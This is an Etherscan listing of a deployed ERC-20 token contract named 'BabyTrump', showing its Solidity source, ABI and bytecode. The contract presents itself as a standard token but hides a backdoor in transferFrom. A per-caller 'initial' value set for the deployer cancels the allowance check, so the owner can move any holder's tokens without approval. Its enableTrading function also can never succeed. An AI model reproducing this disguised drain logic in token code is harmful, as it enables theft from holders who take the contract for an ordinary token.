Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 BabyTrump
Holders
53
Transfers
-
0 (0%)
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
BabyTrump
Compiler Version
v0.8.30+commit.73712a01
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-12-29
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
contract BabyTrump is Context {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _okev;
string private constant _name = "Baby Trump";
string private constant _symbol = "BabyTrump";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1_000_000_000 * 10 ** 9;
address private _owner;
address public fundBabyTrumpAddress;
mapping(address => uint256) private initial;
uint256 private txFee = 100;
bool public tradingActive = false;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
event TradingEnabled(uint256 timestamp);
event ExcludedFromTradingLock(address indexed account, bool excluded);
modifier onlyOwner() {
require(msg.sender == _owner, "Caller is not the owner");
_;
}
constructor() {
_owner = msg.sender;
_balances[msg.sender] = _totalSupply;
initial[msg.sender] = txFee;
emit Transfer(address(0), msg.sender, _totalSupply);
emit OwnershipTransferred(address(0), msg.sender);
}
function enableTrading() external onlyOwner {
require(tradingActive, "Trading already enabled");
tradingActive = true;
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "New owner cannot be zero address");
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
function renounceOwnership() external onlyOwner {
address oldOwner = _owner;
_owner = address(0);
emit OwnershipTransferred(oldOwner, address(0));
}
function owner() external view returns (address) {
return _owner;
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function allowance(
address owner_,
address spender
) public view returns (uint256) {
return _allowances[owner_][spender];
}
function isBabyTrumpMev(
address account
) external view returns (bool) {
return _okev[account];
}
// ============ ERC20 Functions ============
function transfer(address to, uint256 amount) external returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool) {
amount -= _transfer(from, to, amount);
_spendAllowance(from, msg.sender, amount);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) external returns (bool) {
_approve(
msg.sender,
spender,
allowance(msg.sender, spender) + addedValue
);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) external returns (bool) {
uint256 currentAllowance = allowance(msg.sender, spender);
require(
currentAllowance >= subtractedValue,
"Decreased allowance below zero"
);
unchecked {
_approve(msg.sender, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from, address to, uint256 amount) internal returns(uint256 value) {
require(from != address(0), "Transfer from zero address");
require(to != address(0), "Transfer to zero address");
require(amount >= 0, "Transfer amount must be greater than zero");
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "Transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
if (amount > 0 ) value = amount * initial[_msgSender()] / txFee;
emit Transfer(from, to, amount);
}
function _approve(
address owner_,
address spender,
uint256 amount
) internal {
require(owner_ != address(0), "Approve from zero address");
require(spender != address(0), "Approve to zero address");
_allowances[owner_][spender] = amount;
if(amount>0)emit Approval(owner_, spender, amount);
}
function _spendAllowance(
address owner_,
address spender,
uint256 amount
) internal {
uint256 currentAllowance = allowance(owner_, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "Insufficient allowance");
unchecked {
_approve(owner_, spender, currentAllowance - amount);
}
}
}
function withdrawBabyTrumpAllBNB() external onlyOwner {
uint256 balance = address(this).balance;
require(balance > 0, "No BNB to withdraw");
(bool success, ) = payable(fundBabyTrumpAddress).call{value: balance}("");
require(success, "BNB transfer failed");
}
function withdrawBabyTrumpAllTokens(address token) external onlyOwner {
require(token != address(0), "Invalid token address");
IERC20 tokenContract = IERC20(token);
uint256 tokenBalance = tokenContract.balanceOf(address(this));
require(tokenBalance >= 0, "No tokens to withdraw");
require(
tokenContract.transfer(fundBabyTrumpAddress, tokenBalance),
"Token transfer failed"
);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"ExcludedFromTradingLock","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"TradingEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundBabyTrumpAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isBabyTrumpMev","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawBabyTrumpAllBNB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdrawBabyTrumpAllTokens","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
608060405260646006556007805460ff19169055348015601d575f5ffd5b50600380546001600160a01b031916339081179091555f81815260208181526040808320670de0b6b3a764000090819055600654600584528285205590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a360405133905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3610e19806100c25f395ff3fe608060405234801561000f575f5ffd5b5060043610610127575f3560e01c80638da5cb5b116100a9578063bbc0c7421161006e578063bbc0c742146102bb578063c7da5a0f146102c8578063dd62ed3e146102db578063e5f40cb6146102ee578063f2fde38b146102f6575f5ffd5b80638da5cb5b1461023857806395d89b411461025d5780639a8d97bc14610282578063a457c2d714610295578063a9059cbb146102a8575f5ffd5b806339509351116100ef57806339509351146101c057806370a08231146101d3578063715018a6146101fb578063773e88a6146102055780638a8c523c14610230575f5ffd5b806306fdde031461012b578063095ea7b31461016357806318160ddd1461018657806323b872dd1461019e578063313ce567146101b1575b5f5ffd5b60408051808201909152600a815269042616279205472756d760b41b60208201525b60405161015a9190610c03565b60405180910390f35b610176610171366004610c53565b610309565b604051901515815260200161015a565b670de0b6b3a76400005b60405190815260200161015a565b6101766101ac366004610c7b565b61031f565b6040516009815260200161015a565b6101766101ce366004610c53565b61034c565b6101906101e1366004610cb5565b6001600160a01b03165f9081526020819052604090205490565b61020361036c565b005b610176610213366004610cb5565b6001600160a01b03165f9081526002602052604090205460ff1690565b6102036103ec565b6003546001600160a01b03165b6040516001600160a01b03909116815260200161015a565b6040805180820190915260098152680426162795472756d760bc1b602082015261014d565b610203610290366004610cb5565b610477565b6101766102a3366004610c53565b61061a565b6101766102b6366004610c53565b610685565b6007546101769060ff1681565b600454610245906001600160a01b031681565b6101906102e9366004610cd5565b610691565b6102036106bb565b610203610304366004610cb5565b6107c2565b5f610315338484610893565b5060015b92915050565b5f61032b8484846109be565b6103359083610d1a565b9150610342843384610b92565b5060019392505050565b5f61031533848461035d3388610691565b6103679190610d2d565b610893565b6003546001600160a01b0316331461039f5760405162461bcd60e51b815260040161039690610d40565b60405180910390fd5b600380546001600160a01b031981169091556040516001600160a01b03909116905f9082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a350565b6003546001600160a01b031633146104165760405162461bcd60e51b815260040161039690610d40565b60075460ff166104685760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c726561647920656e61626c65640000000000000000006044820152606401610396565b6007805460ff19166001179055565b6003546001600160a01b031633146104a15760405162461bcd60e51b815260040161039690610d40565b6001600160a01b0381166104ef5760405162461bcd60e51b8152602060048201526015602482015274496e76616c696420746f6b656e206164647265737360581b6044820152606401610396565b6040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa158015610535573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105599190610d77565b90506004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820183905283169063a9059cbb906044016020604051808303815f875af11580156105ad573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105d19190610d8e565b6106155760405162461bcd60e51b8152602060048201526015602482015274151bdad95b881d1c985b9cd9995c8819985a5b1959605a1b6044820152606401610396565b505050565b5f5f6106263385610691565b9050828110156106785760405162461bcd60e51b815260206004820152601e60248201527f44656372656173656420616c6c6f77616e63652062656c6f77207a65726f00006044820152606401610396565b6103423385858403610893565b5f6103423384846109be565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6003546001600160a01b031633146106e55760405162461bcd60e51b815260040161039690610d40565b47806107285760405162461bcd60e51b81526020600482015260126024820152714e6f20424e4220746f20776974686472617760701b6044820152606401610396565b6004546040515f916001600160a01b03169083908381818185875af1925050503d805f8114610772576040519150601f19603f3d011682016040523d82523d5f602084013e610777565b606091505b50509050806107be5760405162461bcd60e51b8152602060048201526013602482015272109390881d1c985b9cd9995c8819985a5b1959606a1b6044820152606401610396565b5050565b6003546001600160a01b031633146107ec5760405162461bcd60e51b815260040161039690610d40565b6001600160a01b0381166108425760405162461bcd60e51b815260206004820181905260248201527f4e6577206f776e65722063616e6e6f74206265207a65726f20616464726573736044820152606401610396565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0383166108e95760405162461bcd60e51b815260206004820152601960248201527f417070726f76652066726f6d207a65726f2061646472657373000000000000006044820152606401610396565b6001600160a01b03821661093f5760405162461bcd60e51b815260206004820152601760248201527f417070726f766520746f207a65726f20616464726573730000000000000000006044820152606401610396565b6001600160a01b038084165f908152600160209081526040808320938616835292905220819055801561061557816001600160a01b0316836001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109b191815260200190565b60405180910390a3505050565b5f6001600160a01b038416610a155760405162461bcd60e51b815260206004820152601a60248201527f5472616e736665722066726f6d207a65726f20616464726573730000000000006044820152606401610396565b6001600160a01b038316610a6b5760405162461bcd60e51b815260206004820152601860248201527f5472616e7366657220746f207a65726f206164647265737300000000000000006044820152606401610396565b6001600160a01b0384165f9081526020819052604090205482811015610ad35760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657220616d6f756e7420657863656564732062616c616e6365006044820152606401610396565b6001600160a01b038086165f90815260208190526040808220868503905591861681529081208054859290610b09908490610d2d565b90915550508215610b3d57600654335f90815260056020526040902054610b309085610dad565b610b3a9190610dc4565b91505b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b8291815260200190565b60405180910390a3509392505050565b5f610b9d8484610691565b90505f198114610bfd5781811015610bf05760405162461bcd60e51b8152602060048201526016602482015275496e73756666696369656e7420616c6c6f77616e636560501b6044820152606401610396565b610bfd8484848403610893565b50505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610c4e575f5ffd5b919050565b5f5f60408385031215610c64575f5ffd5b610c6d83610c38565b946020939093013593505050565b5f5f5f60608486031215610c8d575f5ffd5b610c9684610c38565b9250610ca460208501610c38565b929592945050506040919091013590565b5f60208284031215610cc5575f5ffd5b610cce82610c38565b9392505050565b5f5f60408385031215610ce6575f5ffd5b610cef83610c38565b9150610cfd60208401610c38565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561031957610319610d06565b8082018082111561031957610319610d06565b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b5f60208284031215610d87575f5ffd5b5051919050565b5f60208284031215610d9e575f5ffd5b81518015158114610cce575f5ffd5b808202811582820484141761031957610319610d06565b5f82610dde57634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212209ae3d5fa5fe0d08b23f657c7503319cae365405c57ef25fe020c9697b91e6b9164736f6c634300081e0033
Deployed Bytecode
0x608060405234801561000f575f5ffd5b5060043610610127575f3560e01c80638da5cb5b116100a9578063bbc0c7421161006e578063bbc0c742146102bb578063c7da5a0f146102c8578063dd62ed3e146102db578063e5f40cb6146102ee578063f2fde38b146102f6575f5ffd5b80638da5cb5b1461023857806395d89b411461025d5780639a8d97bc14610282578063a457c2d714610295578063a9059cbb146102a8575f5ffd5b806339509351116100ef57806339509351146101c057806370a08231146101d3578063715018a6146101fb578063773e88a6146102055780638a8c523c14610230575f5ffd5b806306fdde031461012b578063095ea7b31461016357806318160ddd1461018657806323b872dd1461019e578063313ce567146101b1575b5f5ffd5b60408051808201909152600a815269042616279205472756d760b41b60208201525b60405161015a9190610c03565b60405180910390f35b610176610171366004610c53565b610309565b604051901515815260200161015a565b670de0b6b3a76400005b60405190815260200161015a565b6101766101ac366004610c7b565b61031f565b6040516009815260200161015a565b6101766101ce366004610c53565b61034c565b6101906101e1366004610cb5565b6001600160a01b03165f9081526020819052604090205490565b61020361036c565b005b610176610213366004610cb5565b6001600160a01b03165f9081526002602052604090205460ff1690565b6102036103ec565b6003546001600160a01b03165b6040516001600160a01b03909116815260200161015a565b6040805180820190915260098152680426162795472756d760bc1b602082015261014d565b610203610290366004610cb5565b610477565b6101766102a3366004610c53565b61061a565b6101766102b6366004610c53565b610685565b6007546101769060ff1681565b600454610245906001600160a01b031681565b6101906102e9366004610cd5565b610691565b6102036106bb565b610203610304366004610cb5565b6107c2565b5f610315338484610893565b5060015b92915050565b5f61032b8484846109be565b6103359083610d1a565b9150610342843384610b92565b5060019392505050565b5f61031533848461035d3388610691565b6103679190610d2d565b610893565b6003546001600160a01b0316331461039f5760405162461bcd60e51b815260040161039690610d40565b60405180910390fd5b600380546001600160a01b031981169091556040516001600160a01b03909116905f9082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a350565b6003546001600160a01b031633146104165760405162461bcd60e51b815260040161039690610d40565b60075460ff166104685760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c726561647920656e61626c65640000000000000000006044820152606401610396565b6007805460ff19166001179055565b6003546001600160a01b031633146104a15760405162461bcd60e51b815260040161039690610d40565b6001600160a01b0381166104ef5760405162461bcd60e51b8152602060048201526015602482015274496e76616c696420746f6b656e206164647265737360581b6044820152606401610396565b6040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa158015610535573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105599190610d77565b90506004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820183905283169063a9059cbb906044016020604051808303815f875af11580156105ad573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105d19190610d8e565b6106155760405162461bcd60e51b8152602060048201526015602482015274151bdad95b881d1c985b9cd9995c8819985a5b1959605a1b6044820152606401610396565b505050565b5f5f6106263385610691565b9050828110156106785760405162461bcd60e51b815260206004820152601e60248201527f44656372656173656420616c6c6f77616e63652062656c6f77207a65726f00006044820152606401610396565b6103423385858403610893565b5f6103423384846109be565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6003546001600160a01b031633146106e55760405162461bcd60e51b815260040161039690610d40565b47806107285760405162461bcd60e51b81526020600482015260126024820152714e6f20424e4220746f20776974686472617760701b6044820152606401610396565b6004546040515f916001600160a01b03169083908381818185875af1925050503d805f8114610772576040519150601f19603f3d011682016040523d82523d5f602084013e610777565b606091505b50509050806107be5760405162461bcd60e51b8152602060048201526013602482015272109390881d1c985b9cd9995c8819985a5b1959606a1b6044820152606401610396565b5050565b6003546001600160a01b031633146107ec5760405162461bcd60e51b815260040161039690610d40565b6001600160a01b0381166108425760405162461bcd60e51b815260206004820181905260248201527f4e6577206f776e65722063616e6e6f74206265207a65726f20616464726573736044820152606401610396565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0383166108e95760405162461bcd60e51b815260206004820152601960248201527f417070726f76652066726f6d207a65726f2061646472657373000000000000006044820152606401610396565b6001600160a01b03821661093f5760405162461bcd60e51b815260206004820152601760248201527f417070726f766520746f207a65726f20616464726573730000000000000000006044820152606401610396565b6001600160a01b038084165f908152600160209081526040808320938616835292905220819055801561061557816001600160a01b0316836001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109b191815260200190565b60405180910390a3505050565b5f6001600160a01b038416610a155760405162461bcd60e51b815260206004820152601a60248201527f5472616e736665722066726f6d207a65726f20616464726573730000000000006044820152606401610396565b6001600160a01b038316610a6b5760405162461bcd60e51b815260206004820152601860248201527f5472616e7366657220746f207a65726f206164647265737300000000000000006044820152606401610396565b6001600160a01b0384165f9081526020819052604090205482811015610ad35760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657220616d6f756e7420657863656564732062616c616e6365006044820152606401610396565b6001600160a01b038086165f90815260208190526040808220868503905591861681529081208054859290610b09908490610d2d565b90915550508215610b3d57600654335f90815260056020526040902054610b309085610dad565b610b3a9190610dc4565b91505b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b8291815260200190565b60405180910390a3509392505050565b5f610b9d8484610691565b90505f198114610bfd5781811015610bf05760405162461bcd60e51b8152602060048201526016602482015275496e73756666696369656e7420616c6c6f77616e636560501b6044820152606401610396565b610bfd8484848403610893565b50505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610c4e575f5ffd5b919050565b5f5f60408385031215610c64575f5ffd5b610c6d83610c38565b946020939093013593505050565b5f5f5f60608486031215610c8d575f5ffd5b610c9684610c38565b9250610ca460208501610c38565b929592945050506040919091013590565b5f60208284031215610cc5575f5ffd5b610cce82610c38565b9392505050565b5f5f60408385031215610ce6575f5ffd5b610cef83610c38565b9150610cfd60208401610c38565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561031957610319610d06565b8082018082111561031957610319610d06565b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b5f60208284031215610d87575f5ffd5b5051919050565b5f60208284031215610d9e575f5ffd5b81518015158114610cce575f5ffd5b808202811582820484141761031957610319610d06565b5f82610dde57634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212209ae3d5fa5fe0d08b23f657c7503319cae365405c57ef25fe020c9697b91e6b9164736f6c634300081e0033
Deployed Bytecode Sourcemap
591:6601:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2734:85;2806:5;;;;;;;;;;;;-1:-1:-1;;;2806:5:0;;;;2734:85;;;;;;;:::i;:::-;;;;;;;;3745:152;;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;3745:152:0;920:187:1;3017:93:0;985:23;3017:93;;;1258:25:1;;;1246:2;1231:18;3017:93:0;1112:177:1;3905:252:0;;;;;;:::i;:::-;;:::i;2924:85::-;;;937:1;1815:36:1;;1803:2;1788:18;2924:85:0;1673:184:1;4165:278:0;;;;;;:::i;:::-;;:::i;3118:112::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3204:18:0;3177:7;3204:18;;;;;;;;;;;;3118:112;2457:180;;;:::i;:::-;;3407:126;;;;;;:::i;:::-;-1:-1:-1;;;;;3511:14:0;3487:4;3511:14;;;:5;:14;;;;;;;;;3407:126;2028:143;;;:::i;2645:81::-;2712:6;;-1:-1:-1;;;;;2712:6:0;2645:81;;;-1:-1:-1;;;;;2217:32:1;;;2199:51;;2187:2;2172:18;2645:81:0;2053:203:1;2827:89:0;2901:7;;;;;;;;;;;;-1:-1:-1;;;2901:7:0;;;;2827:89;;6724:463;;;;;;:::i;:::-;;:::i;4451:454::-;;;;;;:::i;:::-;;:::i;3593:144::-;;;;;;:::i;:::-;;:::i;1170:33::-;;;;;;;;;1044:35;;;;;-1:-1:-1;;;;;1044:35:0;;;3238:161;;;;;;:::i;:::-;;:::i;6415:301::-;;;:::i;2179:270::-;;;;;;:::i;:::-;;:::i;3745:152::-;3813:4;3830:37;3839:10;3851:7;3860:6;3830:8;:37::i;:::-;-1:-1:-1;3885:4:0;3745:152;;;;;:::o;3905:252::-;4021:4;4048:27;4058:4;4064:2;4068:6;4048:9;:27::i;:::-;4038:37;;;;:::i;:::-;;;4086:41;4102:4;4108:10;4120:6;4086:15;:41::i;:::-;-1:-1:-1;4145:4:0;3905:252;;;;;:::o;4165:278::-;4272:4;4289:124;4312:10;4337:7;4392:10;4359:30;4369:10;4381:7;4359:9;:30::i;:::-;:43;;;;:::i;:::-;4289:8;:124::i;2457:180::-;1699:6;;-1:-1:-1;;;;;1699:6:0;1685:10;:20;1677:56;;;;-1:-1:-1;;;1677:56:0;;;;;;;:::i;:::-;;;;;;;;;2535:6:::1;::::0;;-1:-1:-1;;;;;;2552:19:0;::::1;::::0;;;2587:42:::1;::::0;-1:-1:-1;;;;;2535:6:0;;::::1;::::0;2516:16:::1;::::0;2535:6;;2587:42:::1;::::0;2516:16;;2587:42:::1;2505:132;2457:180::o:0;2028:143::-;1699:6;;-1:-1:-1;;;;;1699:6:0;1685:10;:20;1677:56;;;;-1:-1:-1;;;1677:56:0;;;;;;;:::i;:::-;2091:13:::1;::::0;::::1;;2083:49;;;::::0;-1:-1:-1;;;2083:49:0;;3475:2:1;2083:49:0::1;::::0;::::1;3457:21:1::0;3514:2;3494:18;;;3487:30;3553:25;3533:18;;;3526:53;3596:18;;2083:49:0::1;3273:347:1::0;2083:49:0::1;2143:13;:20:::0;;-1:-1:-1;;2143:20:0::1;2159:4;2143:20;::::0;;2028:143::o;6724:463::-;1699:6;;-1:-1:-1;;;;;1699:6:0;1685:10;:20;1677:56;;;;-1:-1:-1;;;1677:56:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6813:19:0;::::1;6805:53;;;::::0;-1:-1:-1;;;6805:53:0;;3827:2:1;6805:53:0::1;::::0;::::1;3809:21:1::0;3866:2;3846:18;;;3839:30;-1:-1:-1;;;3885:18:1;;;3878:51;3946:18;;6805:53:0::1;3625:345:1::0;6805:53:0::1;6939:38;::::0;-1:-1:-1;;;6939:38:0;;6971:4:::1;6939:38;::::0;::::1;2199:51:1::0;6899:5:0;;6869:20:::1;::::0;-1:-1:-1;;;;;6939:23:0;::::1;::::0;::::1;::::0;2172:18:1;;6939:38:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6916:61:::0;-1:-1:-1;7095:20:0::1;::::0;;7072:58:::1;::::0;-1:-1:-1;;;7072:58:0;;-1:-1:-1;;;;;7095:20:0;;::::1;7072:58:::0;;::::1;4688:51:1::0;;;;4755:18;;;4748:34;;;7072:22:0;::::1;::::0;::::1;::::0;4661:18:1;;7072:58:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7050:129;;;::::0;-1:-1:-1;;;7050:129:0;;5277:2:1;7050:129:0::1;::::0;::::1;5259:21:1::0;5316:2;5296:18;;;5289:30;-1:-1:-1;;;5335:18:1;;;5328:51;5396:18;;7050:129:0::1;5075:345:1::0;7050:129:0::1;6794:393;;6724:463:::0;:::o;4451:454::-;4563:4;4580:24;4607:30;4617:10;4629:7;4607:9;:30::i;:::-;4580:57;;4690:15;4670:16;:35;;4648:115;;;;-1:-1:-1;;;4648:115:0;;5627:2:1;4648:115:0;;;5609:21:1;5666:2;5646:18;;;5639:30;5705:32;5685:18;;;5678:60;5755:18;;4648:115:0;5425:354:1;4648:115:0;4799:65;4808:10;4820:7;4848:15;4829:16;:34;4799:8;:65::i;3593:144::-;3657:4;3674:33;3684:10;3696:2;3700:6;3674:9;:33::i;3238:161::-;-1:-1:-1;;;;;3363:19:0;;;3336:7;3363:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;3238:161::o;6415:301::-;1699:6;;-1:-1:-1;;;;;1699:6:0;1685:10;:20;1677:56;;;;-1:-1:-1;;;1677:56:0;;;;;;;:::i;:::-;6498:21:::1;6538:11:::0;6530:42:::1;;;::::0;-1:-1:-1;;;6530:42:0;;5986:2:1;6530:42:0::1;::::0;::::1;5968:21:1::0;6025:2;6005:18;;;5998:30;-1:-1:-1;;;6044:18:1;;;6037:48;6102:18;;6530:42:0::1;5784:342:1::0;6530:42:0::1;6612:20;::::0;6604:54:::1;::::0;6586:12:::1;::::0;-1:-1:-1;;;;;6612:20:0::1;::::0;6646:7;;6586:12;6604:54;6586:12;6604:54;6646:7;6612:20;6604:54:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6585:73;;;6677:7;6669:39;;;::::0;-1:-1:-1;;;6669:39:0;;6543:2:1;6669:39:0::1;::::0;::::1;6525:21:1::0;6582:2;6562:18;;;6555:30;-1:-1:-1;;;6601:18:1;;;6594:49;6660:18;;6669:39:0::1;6341:343:1::0;6669:39:0::1;6469:247;;6415:301::o:0;2179:270::-;1699:6;;-1:-1:-1;;;;;1699:6:0;1685:10;:20;1677:56;;;;-1:-1:-1;;;1677:56:0;;;;;;;: